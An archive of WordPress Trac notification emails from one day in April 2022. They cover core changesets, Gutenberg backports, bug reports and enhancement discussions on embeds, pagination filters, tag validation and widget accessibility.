<073.d9af6586a84195995d20d870cc4aec94@wordpress.org> #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core --------------------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Comment (by youknowriad): In [changeset:"53072" 53072]: {{{ #!CommitTicketReference repository="" revision="53072" Block Editor: Backport the Global Styles Variations endpoint. This include the /global-styles/themes/{theme}/variations rest endpoint into core. The endpoint will be used by the site editor to display alternative theme styles to the user. Props gziolo, oandregal. See #55505. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55505#comment:19> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 10:23:56 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 10:23:56 -0000 Subject: [wp-trac] [WordPress Trac] #55528: Register a oEmbed handler for YouTube Shorts Message-ID: <059.ba2dd2bb0ee25af04476c1de31844b38@wordpress.org> #55528: Register a oEmbed handler for YouTube Shorts -----------------------------+----------------------------- Reporter: danielbachhuber | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Embeds | Version: Severity: normal | Keywords: Focuses: | -----------------------------+----------------------------- Apparently https://www.youtube.com/shorts/JnLsjVy3soI is another embeddable YouTube URL format. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55528> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 10:28:07 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 10:28:07 -0000 Subject: [wp-trac] [WordPress Trac] #55529: Full site editing - Custom template issue Message-ID: <059.11e3add4a3bfdc5a137a4f1679ef7ff6@wordpress.org> #55529: Full site editing - Custom template issue -----------------------------+----------------------------- Reporter: Nenad Obradovic | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Themes | Version: 5.9.2 Severity: normal | Keywords: Focuses: template | -----------------------------+----------------------------- Hello, I used the TwentyTwentyTwo theme and I created/used a plugin with the custom page template functionality {{{ <?php /* Template Name: Custom Full Width */ get_header(); ?> <main id="custom-page-content"> <?php if ( have_posts() ) { while ( have_posts() ) : the_post(); the_content(); endwhile; } ?> </main> <?php get_footer(); }}} if you set that template for some page you will not be able to customize the footer and header template part area because the TwentyTwentyTwo theme doesn't have it and the default WordPress function **locate_template** will load/include for example **wp-includes/theme-compat/footer.php** file. I think it will be great if you can improve locate_template or block theme templates functionality to load/include the default footer template part from the block theme instead of wp-includes/theme-compat/footer.php Best regards, Nenad Obradovic -- Ticket URL: <https://core.trac.wordpress.org/ticket/55529> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 10:32:34 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 10:32:34 -0000 Subject: [wp-trac] [WordPress Trac] #55473: Update the About page for 5.9.3 In-Reply-To: <052.f2a1e7431679cc70e1e24f308acd0086@wordpress.org> References: <052.f2a1e7431679cc70e1e24f308acd0086@wordpress.org> Message-ID: <067.d9e7715f1ec36b0c642fa60d30405903@wordpress.org> #55473: Update the About page for 5.9.3 -------------------------------------------+----------------------- Reporter: audrasjb | Owner: audrasjb Type: task (blessed) | Status: closed Priority: normal | Milestone: 5.9.3 Component: Help/About | Version: Severity: normal | Resolution: fixed Keywords: has-patch dev-reviewed commit | Focuses: -------------------------------------------+----------------------- Changes (by audrasjb): * status: assigned => closed * resolution: => fixed Comment: In [changeset:"53073" 53073]: {{{ #!CommitTicketReference repository="" revision="53073" Help/About: Update the About page for WordPress 5.9.3. Props audrasjb, SergeyBiryukov. Fixes #55473. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55473#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 11:01:12 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 11:01:12 -0000 Subject: [wp-trac] [WordPress Trac] #55480: Add filter to modify description in plugin card In-Reply-To: <051.94a4e115d6db28b6e051abfb65a2ef2b@wordpress.org> References: <051.94a4e115d6db28b6e051abfb65a2ef2b@wordpress.org> Message-ID: <066.dae7b6ab66ea45a8e7799bc6f8e1fc71@wordpress.org> #55480: Add filter to modify description in plugin card -----------------------------+----------------------------- Reporter: afragen | Owner: SergeyBiryukov Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Upgrade/Install | Version: Severity: normal | Resolution: fixed Keywords: has-patch | Focuses: administration -----------------------------+----------------------------- Changes (by SergeyBiryukov): * status: reviewing => closed * resolution: => fixed Comment: In [changeset:"53074" 53074]: {{{ #!CommitTicketReference repository="" revision="53074" Plugins: Introduce the `plugin_install_description` filter. This allows for modification of the plugin card description on the Add Plugins screen. Use cases include displaying a list of dependencies for the [https://make.wordpress.org/core/2022/02/24/feature-project-plugin- dependencies/ Plugin Dependencies feature project] ([https://github.com/WordPress/wp-plugin-dependencies GitHub]). Props afragen, davidbaumwald, peterwilsoncc, SergeyBiryukov. Fixes #55480. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55480#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 11:47:34 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 11:47:34 -0000 Subject: [wp-trac] [WordPress Trac] #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core In-Reply-To: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> References: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> Message-ID: <073.1f40f974e30ada539b219a5d8ea5c9ba@wordpress.org> #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core --------------------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Comment (by youknowriad): In [changeset:"53075" 53075]: {{{ #!CommitTicketReference repository="" revision="53075" Block Editor: Synchronize global styles endpoint code with Gutenberg. This adds a missing fallback to ensure styles property is always defined in the returned data. Props gziolo. See #55505. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55505#comment:24> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 12:07:04 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 12:07:04 -0000 Subject: [wp-trac] [WordPress Trac] #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core In-Reply-To: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> References: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> Message-ID: <073.22d40413e4aa3584cf863d10b71fd61d@wordpress.org> #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core --------------------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Comment (by gziolo): In [changeset:"53076" 53076]: {{{ #!CommitTicketReference repository="" revision="53076" Editor: Backport block support changes from the Gutenberg plugin Migrate spacing, border, color, dimensions, elements and typography and associated tests for block supports in the block editor. Related changes in Gutenberg: - Include individual serialization changes from https://github.com/WordPress/gutenberg/commit/6de16981c7fef3db7cc4a9d6cfcb0ad85c916c62 - Skip Style Engine integration from https://github.com/WordPress/gutenberg/commit/44925a947fde29feaab512e0adf4291272209d59%60 Props ramonopoly, aaronrobertshaw. See #55505. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55505#comment:26> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 12:23:37 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 12:23:37 -0000 Subject: [wp-trac] [WordPress Trac] #54742: Fix GHA on first runs for new branches In-Reply-To: <057.2b762651a0032089b61efcef3d85c914@wordpress.org> References: <057.2b762651a0032089b61efcef3d85c914@wordpress.org> Message-ID: <072.f0a26ff81b919c5653dd94bd6cdcb1f9@wordpress.org> #54742: Fix GHA on first runs for new branches ------------------------------+--------------------- Reporter: davidbaumwald | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: Severity: normal | Resolution: Keywords: has-patch commit | Focuses: ------------------------------+--------------------- Changes (by desrosj): * keywords: has-patch => has-patch commit -- Ticket URL: <https://core.trac.wordpress.org/ticket/54742#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 12:56:02 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 12:56:02 -0000 Subject: [wp-trac] [WordPress Trac] #52998: Add a filter to paginate_links to allow bypassing merging query params In-Reply-To: <058.5a9c0f3c6e5991bbcf63772b2da6ecd1@wordpress.org> References: <058.5a9c0f3c6e5991bbcf63772b2da6ecd1@wordpress.org> Message-ID: <073.84380473405542ecf370a18706665d72@wordpress.org> #52998: Add a filter to paginate_links to allow bypassing merging query params ----------------------------+------------------------------ Reporter: jonoaldersonwp | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Resolution: Keywords: seo | Focuses: performance ----------------------------+------------------------------ Comment (by antonvlasenko): > Alternatively: > The filter could define a list of allowed/expected query params, or; > The filter could restrict valid params to only include registered query vars. I like the alternative approach you described above. IMO allowing to short circuit/bypass the query logic may not be enough. A more flexible approach is better as it will enable fine-tuning the query parameters depending on the needs of a particular plugin. Speaking of implementation, I'd add 2 filters: 1. The first filter would be right before this line: https://core.trac.wordpress.org/browser/tags/5.7/src/wp-includes/general- template.php#L4215; it would allow filtering `$args['add_args']` values. 2. The second filter would be before this line: https://core.trac.wordpress.org/browser/tags/5.7/src/wp-includes/general- template.php#L4212. The second filter would allow filtering `$url_query_args` variable. It would allow to control which values get merged to the $args[‘add_args’] array. -- Ticket URL: <https://core.trac.wordpress.org/ticket/52998#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 13:19:09 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 13:19:09 -0000 Subject: [wp-trac] [WordPress Trac] #54742: Fix GHA on first runs for new branches In-Reply-To: <057.2b762651a0032089b61efcef3d85c914@wordpress.org> References: <057.2b762651a0032089b61efcef3d85c914@wordpress.org> Message-ID: <072.6fb0eeb5705308a5d92db1bc6ddafac9@wordpress.org> #54742: Fix GHA on first runs for new branches ------------------------------+---------------------- Reporter: davidbaumwald | Owner: desrosj Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: Severity: normal | Resolution: fixed Keywords: has-patch commit | Focuses: ------------------------------+---------------------- Changes (by desrosj): * owner: (none) => desrosj * status: new => closed * resolution: => fixed Comment: In [changeset:"53077" 53077]: {{{ #!CommitTicketReference repository="" revision="53077" Build/Test Tools: Prevent error when workflows run for new branches and tags. This fixes a JavaScript error in the Slack notifications workflow. This was causing the first workflow run for each workflow in a new branch or tag to be reported as a failure, even if the important parts of the workflow succeed. When running a workflow for the first time, a default of `failure` is now used for the previous outcome. This will trigger a success notification to be sent to report successful branching/tagging. Props davidbaumwald. Fixes #54742. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54742#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 13:22:52 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 13:22:52 -0000 Subject: [wp-trac] [WordPress Trac] #47018: No error message provided upon incomplete input in Tags Administration Screen In-Reply-To: <053.f1bf88ff1edccbddf10be7d2b29a23ca@wordpress.org> References: <053.f1bf88ff1edccbddf10be7d2b29a23ca@wordpress.org> Message-ID: <068.40c9d263ac2fb6cf23e1d0d41a6be929@wordpress.org> #47018: No error message provided upon incomplete input in Tags Administration Screen -------------------------------------+------------------------------------- Reporter: conner_bw | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: Taxonomy | Version: 5.1.1 Severity: normal | Resolution: Keywords: has-screenshots input- | Focuses: ui, accessibility, validation has-patch needs- | javascript, administration refresh | -------------------------------------+------------------------------------- Changes (by afercia): * keywords: has-screenshots input-validation has-patch needs-testing needs-refresh => has-screenshots input-validation has-patch needs- refresh Comment: @peterwilsoncc thanks for reviewing. The changes to `wp-ajax-response.js` are mostly 'cosmetic' changes about legacy CSS class names, indentation, and coding standards. The only functional changes are the new calls to `wp.a11y.speak()` which shouldn't break anything. However, besides the slight delay between the field getting a red border and the error message displaying, I see there's one more problem. The input field will now get a red border for ''any'' error response, which is not correct. It should only happen for the error with code `empty_term_name`. I'd agree this needs some more work. -- Ticket URL: <https://core.trac.wordpress.org/ticket/47018#comment:18> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 13:47:19 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 13:47:19 -0000 Subject: [wp-trac] [WordPress Trac] #55527: <em></em> disappears from post titles when post (in 'editing' view) is refreshed + post titles lose italics formatting when changes made In-Reply-To: <052.64e784c7f3d1b19d67945891d814096c@wordpress.org> References: <052.64e784c7f3d1b19d67945891d814096c@wordpress.org> Message-ID: <067.e867351f462df0693dc48149684b3b72@wordpress.org> #55527: <em></em> disappears from post titles when post (in 'editing' view) is refreshed + post titles lose italics formatting when changes made --------------------------+------------------------------ Reporter: altfgcom | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Awaiting Review Component: Editor | Version: 5.9.2 Severity: normal | Resolution: duplicate Keywords: | Focuses: --------------------------+------------------------------ Changes (by azouamauriac): * status: new => closed * resolution: => duplicate * component: General => Editor Comment: Duplicate of #55371. Hi welcome to core trac, thanks for the report. We already trac the bug [https://github.com/WordPress/gutenberg/issues/39395 here]. Hope it will be fixed early. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55527#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 13:53:59 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 13:53:59 -0000 Subject: [wp-trac] [WordPress Trac] #42070: Remove networks_have_paths cache key In-Reply-To: <056.ee8a4d5d4c2f2fd9338c64ba231bcecb@wordpress.org> References: <056.ee8a4d5d4c2f2fd9338c64ba231bcecb@wordpress.org> Message-ID: <071.715ba9f666c2d088bdc7dce89620f88e@wordpress.org> #42070: Remove networks_have_paths cache key --------------------------------+--------------------------- Reporter: spacedmonkey | Owner: spacedmonkey Type: enhancement | Status: assigned Priority: normal | Milestone: 6.0 Component: Networks and Sites | Version: 4.6 Severity: normal | Resolution: Keywords: has-patch | Focuses: multisite --------------------------------+--------------------------- Comment (by spacedmonkey): The PR at [https://github.com/WordPress/wordpress-develop/pull/2504 #2504] looks good to go. I think this should be committed and be part of 6.0. -- Ticket URL: <https://core.trac.wordpress.org/ticket/42070#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 13:55:58 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 13:55:58 -0000 Subject: [wp-trac] [WordPress Trac] #55462: Improve cache key generation in WP_Site_Query In-Reply-To: <056.788faa0f83ecc66621ed2f44c8bdd070@wordpress.org> References: <056.788faa0f83ecc66621ed2f44c8bdd070@wordpress.org> Message-ID: <071.fb4532d84a30fc119cc948d45dae4ca0@wordpress.org> #55462: Improve cache key generation in WP_Site_Query -------------------------------------------------+------------------------- Reporter: spacedmonkey | Owner: | spacedmonkey Type: enhancement | Status: assigned Priority: normal | Milestone: 6.0 Component: Networks and Sites | Version: 4.6 Severity: normal | Resolution: Keywords: good-first-bug has-patch has-unit- | Focuses: multisite, tests | performance -------------------------------------------------+------------------------- Changes (by spacedmonkey): * owner: (none) => spacedmonkey * status: new => assigned * milestone: Awaiting Review => 6.0 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55462#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 13:56:32 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 13:56:32 -0000 Subject: [wp-trac] [WordPress Trac] #55461: Improve cache key generation in WP_Network_Query In-Reply-To: <056.d13ed3c690dcbe4f318e2a175491c637@wordpress.org> References: <056.d13ed3c690dcbe4f318e2a175491c637@wordpress.org> Message-ID: <071.01ed87d0ef64fc415421258e8a65f240@wordpress.org> #55461: Improve cache key generation in WP_Network_Query -------------------------------------------------+------------------------- Reporter: spacedmonkey | Owner: | spacedmonkey Type: enhancement | Status: assigned Priority: normal | Milestone: 6.0 Component: Networks and Sites | Version: 4.6 Severity: normal | Resolution: Keywords: good-first-bug has-patch has-unit- | Focuses: multisite, tests | performance -------------------------------------------------+------------------------- Changes (by spacedmonkey): * owner: (none) => spacedmonkey * status: new => assigned * milestone: Awaiting Review => 6.0 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55461#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 14:06:52 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 14:06:52 -0000 Subject: [wp-trac] =?utf-8?q?=5BWordPress_Trac=5D_=2355526=3A_WordPress_5?= =?utf-8?b?LjkuMiBpeWkgZGV5aWwgeWF2YcWf?= In-Reply-To: <054.49cd0950aae678419c60f05827335a5e@wordpress.org> References: <054.49cd0950aae678419c60f05827335a5e@wordpress.org> Message-ID: <069.ac95c9f0c153c4c090c4d7feed8c9025@wordpress.org> #55526: WordPress 5.9.2 iyi deyil yavaş --------------------------+---------------------- Reporter: bakiyisite | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: General | Version: Severity: normal | Resolution: invalid Keywords: | Focuses: --------------------------+---------------------- Changes (by costdev): * keywords: close => * milestone: Awaiting Review => -- Ticket URL: <https://core.trac.wordpress.org/ticket/55526#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 14:10:51 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 14:10:51 -0000 Subject: [wp-trac] [WordPress Trac] #35500: Login page: user can change password on " " but can't log in with new password. In-Reply-To: <054.cf9e3d0204e900fc1a0039fd96a81b85@wordpress.org> References: <054.cf9e3d0204e900fc1a0039fd96a81b85@wordpress.org> Message-ID: <069.e6b8fae1e16df3679649f4a36a6e6b74@wordpress.org> #35500: Login page: user can change password on " " but can't log in with new password. -------------------------------------+----------------------------- Reporter: antonrinas | Owner: hellofromTonya Type: defect (bug) | Status: closed Priority: lowest | Milestone: 6.0 Component: Login and Registration | Version: Severity: normal | Resolution: fixed Keywords: has-patch needs-testing | Focuses: -------------------------------------+----------------------------- Comment (by azouamauriac): Replying to [comment:13 peterwilsoncc]: > In [changeset:"53067" 53067]: I wonder to know if we can just put [https://prnt.sc/G4Vi8BZ6mbD- this] both "if" statement together... Any objection? -- Ticket URL: <https://core.trac.wordpress.org/ticket/35500#comment:15> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 14:15:29 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 14:15:29 -0000 Subject: [wp-trac] [WordPress Trac] #6479: Encourage people to change default tagline In-Reply-To: <055.e530d469b6d3d46c70a1707e6bd1ead0@wordpress.org> References: <055.e530d469b6d3d46c70a1707e6bd1ead0@wordpress.org> Message-ID: <070.2e29dabf60cfe2a87a574a7511d6e750@wordpress.org> #6479: Encourage people to change default tagline -------------------------------------------------+------------------------- Reporter: markjaquith | Owner: (none) Type: enhancement | Status: assigned Priority: normal | Milestone: 6.0 Component: Administration | Version: 2.5 Severity: normal | Resolution: Keywords: has-patch needs-testing needs-unit- | Focuses: tests needs-refresh needs-codex | -------------------------------------------------+------------------------- Comment (by costdev): Per the discussion in the bug scrub, I'm going to work on the refresh of the PR to target these outstanding issues: - There are a few unit tests failing relating to `the_title`. - Ensure the tagline is optional. - [https://github.com/WordPress/wordpress- develop/pull/2230/files/e31394c398117ff5c32229c68acd1ec436b8c0d2#r819245866 This comment] on the PR regarding the unit tests. I'll post a comment when the PR is ready for review. -- Ticket URL: <https://core.trac.wordpress.org/ticket/6479#comment:42> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 14:38:24 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 14:38:24 -0000 Subject: [wp-trac] [WordPress Trac] #52356: npm install does not work on wordpress-trunk on new Mac M1's In-Reply-To: <056.8ff11d30f185d29b5edcf30954ab9e5f@wordpress.org> References: <056.8ff11d30f185d29b5edcf30954ab9e5f@wordpress.org> Message-ID: <071.d719a5790a8d3e7de75b759c21481395@wordpress.org> #52356: npm install does not work on wordpress-trunk on new Mac M1's -------------------------------+------------------------------ Reporter: justinahinon | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Build/Test Tools | Version: 5.7 Severity: normal | Resolution: Keywords: reporter-feedback | Focuses: -------------------------------+------------------------------ Comment (by afragen): @gziolo you are correct. I have actually tried all 3 methods. They all work. I don't know if it's possible for the `docker-compose.yml`` to do a check for a the processor and add the correct platform automatically? -- Ticket URL: <https://core.trac.wordpress.org/ticket/52356#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 14:42:08 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 14:42:08 -0000 Subject: [wp-trac] [WordPress Trac] #33885: meta_form performs a potentially expensive query In-Reply-To: <050.42392201b1b954ae7ab98d4bbdbb19bc@wordpress.org> References: <050.42392201b1b954ae7ab98d4bbdbb19bc@wordpress.org> Message-ID: <065.5e9138c94d221ba34a7fc33bc982988b@wordpress.org> #33885: meta_form performs a potentially expensive query -------------------------------------+------------------------------------- Reporter: jorbin | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Administration | Version: 4.3.1 Severity: critical | Resolution: Keywords: has-patch needs-testing | Focuses: administration, needs-unit-tests | performance -------------------------------------+------------------------------------- Comment (by costdev): Per the discussion in the bug scrub, it's recommended to pursue [https://core.trac.wordpress.org/attachment/ticket/33885/33885.5.diff 33885.5.diff] as mentioned in Sergey's [https://core.trac.wordpress.org/ticket/33885#comment:87 comment] and Ollie's [https://core.trac.wordpress.org/ticket/33885#comment:86 comment], as the Performance team will be looking at indexes, which should be handled holistically. -- Ticket URL: <https://core.trac.wordpress.org/ticket/33885#comment:95> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 14:43:17 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 14:43:17 -0000 Subject: [wp-trac] [WordPress Trac] #55473: Update the About page for 5.9.3 In-Reply-To: <052.f2a1e7431679cc70e1e24f308acd0086@wordpress.org> References: <052.f2a1e7431679cc70e1e24f308acd0086@wordpress.org> Message-ID: <067.bba29885f83370d918d7bd35b010a314@wordpress.org> #55473: Update the About page for 5.9.3 -------------------------------------------+----------------------- Reporter: audrasjb | Owner: audrasjb Type: task (blessed) | Status: closed Priority: normal | Milestone: 5.9.3 Component: Help/About | Version: Severity: normal | Resolution: fixed Keywords: has-patch dev-reviewed commit | Focuses: -------------------------------------------+----------------------- Comment (by audrasjb): In [changeset:"53078" 53078]: {{{ #!CommitTicketReference repository="" revision="53078" Help/About: Update the About page with the correct number of bugfixes for WP 5.9.3. See #55473. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55473#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 14:57:38 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 14:57:38 -0000 Subject: [wp-trac] [WordPress Trac] #47018: No error message provided upon incomplete input in Tags Administration Screen In-Reply-To: <053.f1bf88ff1edccbddf10be7d2b29a23ca@wordpress.org> References: <053.f1bf88ff1edccbddf10be7d2b29a23ca@wordpress.org> Message-ID: <068.3f5c5ecdc2cdb159bf56eeeb6aad2e29@wordpress.org> #47018: No error message provided upon incomplete input in Tags Administration Screen -------------------------------------+------------------------------------- Reporter: conner_bw | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: Taxonomy | Version: 5.1.1 Severity: normal | Resolution: Keywords: has-screenshots input- | Focuses: ui, accessibility, validation has-patch needs- | javascript, administration refresh | -------------------------------------+------------------------------------- Changes (by afercia): * Attachment "47018.2.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/47018> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 15:01:37 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 15:01:37 -0000 Subject: [wp-trac] [WordPress Trac] #47018: No error message provided upon incomplete input in Tags Administration Screen In-Reply-To: <053.f1bf88ff1edccbddf10be7d2b29a23ca@wordpress.org> References: <053.f1bf88ff1edccbddf10be7d2b29a23ca@wordpress.org> Message-ID: <068.b51562918417a9861d9ba2955db67645@wordpress.org> #47018: No error message provided upon incomplete input in Tags Administration Screen -------------------------------------+------------------------------------- Reporter: conner_bw | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: Taxonomy | Version: 5.1.1 Severity: normal | Resolution: Keywords: has-screenshots input- | Focuses: ui, accessibility, validation has-patch needs- | javascript, administration testing | -------------------------------------+------------------------------------- Changes (by afercia): * keywords: has-screenshots input-validation has-patch needs-refresh => has-screenshots input-validation has-patch needs-testing Comment: [attachment:"47018.2.diff"] builds on the previous patch and: - Adds specific error code (when available) to the `add-tag` ajax action . - Checks for that error code to add the red border to the input field. - Calls `validateForm()` when the response error is returned, so that there's no delay between the field getting a red border and the error message displaying. -- Ticket URL: <https://core.trac.wordpress.org/ticket/47018#comment:19> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 15:03:16 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 15:03:16 -0000 Subject: [wp-trac] [WordPress Trac] #52998: Add a filter to paginate_links to allow bypassing merging query params In-Reply-To: <058.5a9c0f3c6e5991bbcf63772b2da6ecd1@wordpress.org> References: <058.5a9c0f3c6e5991bbcf63772b2da6ecd1@wordpress.org> Message-ID: <073.ddaff1f682f74f630966977b227c27df@wordpress.org> #52998: Add a filter to paginate_links to allow bypassing merging query params ----------------------------+------------------------------ Reporter: jonoaldersonwp | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Resolution: Keywords: seo | Focuses: performance ----------------------------+------------------------------ Comment (by paulkevan): > Note that this 'vulnerability' is responsible for large-scale SEO flavoured XSS attacks. Aside from the ability to continue with linked parameters, there doesn't appear to be any XSS in the current method. -- Ticket URL: <https://core.trac.wordpress.org/ticket/52998#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 15:41:19 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 15:41:19 -0000 Subject: [wp-trac] [WordPress Trac] #55528: Register a oEmbed handler for YouTube Shorts In-Reply-To: <059.ba2dd2bb0ee25af04476c1de31844b38@wordpress.org> References: <059.ba2dd2bb0ee25af04476c1de31844b38@wordpress.org> Message-ID: <074.01869af6a9ca8d556908330c9d6ad3cf@wordpress.org> #55528: Register a oEmbed handler for YouTube Shorts -------------------------------------+--------------------- Reporter: danielbachhuber | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: Embeds | Version: Severity: normal | Resolution: Keywords: has-patch needs-testing | Focuses: -------------------------------------+--------------------- Changes (by johnbillion): * keywords: has-patch => has-patch needs-testing * milestone: Awaiting Review => 6.0 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55528#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 16:16:47 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 16:16:47 -0000 Subject: [wp-trac] [WordPress Trac] #55530: In widget area <a aria-current="page" title="shows whole category description when only cat_title should be shown - which breaks the intended benefit of aria (and creates duplicate content on the category archive)" Message-ID: <059.6acff70e0a9b08abe702c78b0bba3416@wordpress.org> #55530: In widget area <a aria-current="page" title="shows whole category description when only cat_title should be shown - which breaks the intended benefit of aria (and creates duplicate content on the category archive)" -----------------------------+----------------------------- Reporter: just0nequestion | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.9.2 Severity: normal | Keywords: Focuses: | -----------------------------+----------------------------- As aria should help people that need assistive technology, having them to listen to a whole heap of crumbled words that come from a html structured category description isn't what this was intendend for. <li class="cat-item cat-item-1 current-cat"><a aria-current="page" href="https://www.blog.com" title="Here comes everything from the category description with stipped html tags which results in a lot of words that don't give the user of assistive technology a benefit. It even disturbs him (when categories have long / formatted descriptions. The words here show up without formatting and created duplicate content on page">*</a> -- Ticket URL: 